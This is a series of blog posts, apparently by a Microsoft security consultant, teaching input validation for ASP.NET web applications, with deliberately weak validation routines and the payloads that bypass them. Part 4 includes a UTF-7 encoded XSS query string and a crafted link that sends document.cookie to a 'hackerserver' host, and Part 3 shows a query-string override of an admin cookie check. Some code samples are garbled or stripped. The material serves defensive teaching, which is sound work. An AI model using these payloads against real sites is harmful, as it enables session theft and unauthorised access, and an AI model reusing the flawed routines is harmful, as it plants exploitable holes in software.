%41%43%45%20%54%65%61%6d : Input Validation

First Line of Defense for Web Applications – Conclusion

techjunkie — Mon, 07 Jan 2008 03:45:00 GMT

Platform features for validating input in .NET Framework

There are many platform features which should be leveraged wherever possible. Some of the key validation features supported by .NET framework are given below:

ValidateRequest

ASP.NET performs request validation against query-string and form variables as well as cookie values. By default, if the current Request contains HTML-encoded elements or certain HTML characters (such as ), the ASP.NET page framework raises an error.

This is an httphandler which will scan all requests coming in the application and will generate an error message if it detects malicious characters in the request that could initiate a cross site scripting attack. By default, this security feature is enabled in the Machine.config file. It is always advisable to not to disable this setting and verify that validateRequest is set to true as given below.

<system.web>

</system.web>

There are some limitations to this feature.

· If you need a page which contains a free format rich test entry fields designed to accept a range for HTML as input, then you might want to disable this feature. It should be understood that disabling validate request is dangerous, so make sure proper input validation is implemented in the application.

· Security researchers have found a way to bypass this platform validation feature in the past multiple times, and they can do it again in the future. Relying “Only” on this mitigation can prove costly. Microsoft ASP.NET request filtering can be bypassed allowing XSS and HTML injection attacks

Validation controls

The validation features provided by the .NET framework are immensely powerful. Validation controls provide an easy-to-use mechanism for all common types of standard validation. For example, a developer can test for valid dates or values within a range and can create custom-written validation. In addition, validation controls allow you to customize how error information is displayed to the user. Using the right validation control in the right context can save your application from lot of attack vectors.

Regular expressions

Regular expressions provide a powerful, flexible, and efficient method for processing text. The extensive pattern-matching notation of regular expressions allows you to quickly parse large amounts of text to find specific character patterns, to extract, edit, replace, or delete text substrings, or to add the extracted strings to a collection in order to generate a report. For many applications that deal with strings (such as HTML processing, log file parsing, and HTTP header parsing), regular expressions are an indispensable tool.

Let’s analyze this regular expression used for validation, implemented by a developer on a Name input field:

string regExPattern= \.{1,500}$

The regular expression serves only as the length delimiter. It provides no protection in terms of character type. This example merely limits the attacker to a maximum payload of 500 characters.

Ideally the regExPattern should have been declared as follows:

string regExPattern = ^[a-zA-Z''-'\s]{1,40}$

This only allows one or more alphabetical characters, which further validates the input as a name. It allows up to 40 uppercase and lowercase characters and a few special characters that are common to some names.

Unfortunately, regular expressions have some significant limitations:

· Performance Impact

o The more complex the regular expression, the more CPU cycles are required. RegEx generally have exponential complexity. Use of OR (|) to create a complex regular expression can slow down your application.

· Certain kinds of strings are very hard, if not impossible to recognize by regular expressions.

· Sometimes it requires extra time and effort to construct RegEx which will validate all good data

o Different input but all are valid forms E.g a valid email address can be – abc@foo.com or abc@111.222.333.444

Be careful with the DOT(.)

Dot is a very powerful regular expression meta- character, but there is something important to understand about its use. Dot is a part of character class that represents a set of characters which can match an input string; the dot matches a single character without caring what that character is. The only exceptions are newline characters. This means that the regular expression will also match in cases where it should not match. Thus, use of DOT sometimes creates regular expression that is very loosely written.

For example, let's say we want to match a date in mm/dd/yy format, but we want to leave the user the choice of date separators. The quick solution is \d\d.\d\d.\d\d. Seems fine at first. It will match a date like 04/09/07 just fine. The problem comes when you pass something like “04109807” via this regular expression. This input passes the validation requirement without any red alerts. Why? Because it is also considered a valid date by the quick solution regular expression. In this match, the first dot matched 1, and the second matched 8. Clearly this is something which is not intended. It is therefore advised to use this meta-character sparingly or with caution.

Conclusions

The .NET framework has many powerful features for implementing white list validation. Remember to use white list validation whenever possible. It is a more restrictive, definitive, and manageable means to perform strong input validation in your applications.

On the other hand, black list validation is less restrictive and more difficult to manage and maintain. As you have seen, there are many ways to bypass black list validation.

Of course, a combination of both the approaches can be leveraged where it is difficult to define exactly what you are looking for in the input. However you validate, consider a centralize approach to input and data validation within your application. Maintainability of the code becomes quite simple as your validation routines are defined at one place.

Attacks on the application layer have tremendously increased over the years. Most of the deadly web application attacks exploit poor input validation as root vulnerability. Understanding the right validation approach and techniques for user input filtering are the keys to a secure web application.

It’s a bad world outside so- Validate! Validate and validate all user controlled input prior to consuming it.

References

· http://msdn2.microsoft.com/en-us/library/ms998378.aspx#pagquestionlist0002_inputdatavalidation

· Anti-Cross Site Scripting Library - http://msdn2.microsoft.com/en-us/security/aa973814.aspx

· http://msdn.microsoft.com/archive/default.asp?url=/archive/en-us/samples/internet/components/sitelock/default.asp

· How To: Use Regular Expressions to Constrain Input in ASP.NET

· Developing a Validator Control

· Validating User input in ASP.NET web pages

· http://www.guidancelibrary.com/default.aspx/Home.RegExInputValCode

· Regular Expression Work bench

· http://www.regular-expressions.info/

· http://msdn2.microsoft.com/en-us/library/Aa302416.aspx#strongnames_topic4

Regards & Keep it Secure !!

Anmol Malhotra

First Line of Defense for Web Applications – Part 4

techjunkie — Mon, 12 Nov 2007 18:53:00 GMT

I am on a red eye flight back to Seattle from Dulles, VA where I just finished delivering some security training. Traveling back in time, jet lagged, not able to sleep so I thought of finishing my blog post for this week to kill some time. :)

Ok, so now that we have discussed the basics of input validation, let’s move on to some more interesting part of this series – The top most common mistakes developers make today when they implement input validation routines for web application attacks. This is not a comprehensive list of course but I am sure there are so many other worse validation routines floating out there which I still have to witness. :) . If you are in the same business of security, you know what I am talking about.

Top Validation Bloopers

Understanding the need for input validation is a good start, but developers also need to implement strong controls. This is harder than it sounds. This section illustrates some of the top validation bloopers developers make when writing validation routines for Cross site scripting attacks, SQL injection attacks, and poorly coded file upload functionality. It includes example payloads that can bypass the validation schemes and recommendation how to validate securely.

# 1 - Cross Site Scripting

Weak Validation Examples

- LetsStopCrossSiteScripting

<html>

<head>

</head>

</form>

</html>

fooString= Request.querystring("foo")

// LetsStopCrossSiteScripting

fooString = Replace(fooString, "<", " ")

fooString = Replace(fooString, ">", " ")

fooString = Replace(fooString, "%", " ")

fooString = Replace(fooString, ",", " ")

Response.Write fooString

Exploit Technique to bypass this validation

Attacker can use alternate representations for characters, in this case using encoding for the payload <script>alert(‘Foo is vulnerable to XSS’)</script> can successfully bypass this validation and attack the application.

Attack Payload :

?foo=%2bADw-script%2bAD4-alert('got%20cha')%2bADw-/script%2bAD4-

Some more examples of weak XSS validations

a) SanitizeInput

private string SanitizeInput(string input)

{

Regex badCharReplace = new Regex(@""([<>""""'%;()&])"");"

}

b) Security Configuration file : stopXSS.xml

</stopXSS>

c) Replacing char(34)

if request("name") <> "" then

str = replace(request("name"),chr(34),""")

end if

Now, let’s look at some Inappropriate output encoding examples

a) Server.HTMLEncode()

This is Sample.aspx

<html>

Welcome to Foo!!!!

Server.HTMLEncode(<%= (Request.Params["Search"])%>);

</script>

</html>

• Exploit payload to bypass this encoding is given below

<a id=evilLink href="http://victimsite.com/sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F%2Fhackerserver%2Fhackersite%2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')" mce_href="http://victimsite.com/sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F%2Fhackerserver%2Fhackersite%2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')">http://victimsite.com/default.aspx</a>

The above payload does not have any <script> tags so it easily bypasses the encoding routine.

Another example for inappropriate use of Server.HtmlEncode()

<html>

<body>

</body>

</html>

Exploit payload to bypass this encoding is given below

Server.HTMLEncode fails to protect against XSS attack in these examples because of the following reasons:

· Attacker payload lands up in a scripting context already, so there is no need to have <script> in the payload.

· Server.HTMLEncode is a black list encoding function which ONLY encodes 4 characters : < , > , “ , &. All other characters are not encoded.

Recommendations:

· Input Validation - Use White list Regular expression validation. Allows one or more alphabetical characters string regExPattern = @"^[A-Za-z]+$";

· Output Encoding - Anti-Cross Site Scripting Library from ACE team can be used to mitigate against XSS attacks. This is a white list encoding routine & is available at http://msdn2.microsoft.com/en-us/security/aa973814.aspx.

Stay tuned for more bloopers next week. Till then, keep it secure.

Cheers,

Anmol Malhotra
Senior Security Consultant – Microsoft ACE Services

First Line of Defense for Web Applications – Part 3

techjunkie — Wed, 31 Oct 2007 00:53:38 GMT

Precaution: Are you consuming Unexpected Input

Technology is developing fast and web programming languages are coming up with features or ways to ease the job of our developers. Although it brings a smile on developers face, there is a flip side to this. Attackers are exploiting these shortcuts to pass unexpected input in the applications and exploiting the applications. Let’s look at Request () Object which retrieves the values that the client browser passed to the server during an HTTP request.

Interestingly, all variables can be accessed directly by calling Request(variable) without the collection name. In this case, the Web server searches the collections in the following order:

· QueryString

· Form

· Cookies

· ClientCertificate

· ServerVariables

Now this is where it gets dangerous. If a variable with the same name exists in more than one collection, the Request object returns the first instance that the object encounters.

For example, a web application may implement the following authorization checks:

If Request(“Admin”) =”True” Then

Do administrative work

Else

Normal User Work

If the developer of the application sets a variable in the cookie, such as Admin=Yes, then the application will check for the value of this Request object whenever the application has to process admin functionality.

The code should look something like Request.Cookies(“Admin”). However, if the developer loosely codes the thing, and uses a shortcut like Request(“Admin”) then now as stated earlier, the Request object will search for a match in QueryString, Form, Cookies, ClientCertificate and ServerVariables, in that order. The first match found dictates the value.

From an attacker perspective, a simple payload would bypass this and exploit the application.

http://www.vulnerablecom/abc.aspx?URL=Admin

Here Value from Querystring overrides or takes precedence over cookies object.

Input Validation Strategies

Before we start building a defence against the bad guys, we need to clearly understand some basic concepts of security design and architecture. Security requires some measure of paranoia—we must assume all foreign data entering an application is malicious. Therefore, all foreign data should be validated before consuming and should be encoded when echoing back to the user. This paranoia is a key part of developing secure applications.

There are two basic strategies for validating input. Either we can look for known values in the input we are expecting to receive from the user (white list) or we can look for unknown list of values which we are not expecting to receive from the user (black list). These strategies are applicable to other security domains in addition to web applications. For example, when configuring a firewall you can either accept traffic only on specific ports & specific IP address OR you can write many rejection rules which will reject traffic on all unwanted ports and IP addresses.

Black List Approach a.k.a Exclusions list

In this approach, the developer tries to imagine all the bad input that may find its way to her application, and then rejects all these specific inputs. All other data is accepted. These are just a few of the inputs she will need to look out for:

User Input Expected: First Name

Regular Expression: (<|&lt;|%3C)(%20|\s)*(script|applet|embed|))

The black list strategy is a weak protection mechanism because you cannot brain storm all the bad characters attackers will use for a particular attack. We all know security is an ever changing landscape. Black list comes heavily dependent on attacker’s next moves and therefore has to be continuously updated and changed. As new attack techniques come out, this list becomes outdated and requires constant monitoring.

White List Approach aka Inclusions list

The white list strategy compares foreign user input to specific input that will be treated as acceptable. For example:

User Input Expected: First Name

Regular Expression: [a-z A-Z-]

The above is a White list of all known good inputs, e.g Only Caps A to Z and small a- z will be allowed. All other input is discarded as evil.

White list filtering gives more control to the programmer as it is a restrictive kind of filtering mechanism. Only characters defined in the list will be entertained and nothing else. All other characters are considered malicious and are rejected. White list offers much better protection in your application against attacks when the programmer has a good idea of the type of input expected for the application.

Unfortunately, there can be times when application developer has no clear idea about what data is expected. For example, sometimes user can enter free HTML as an input. In this kind of scenario, implementing inclusions list validation becomes difficult.

Cheers,

Anmol Malhotra

Sr. Security Consultant - Microsoft ACE Services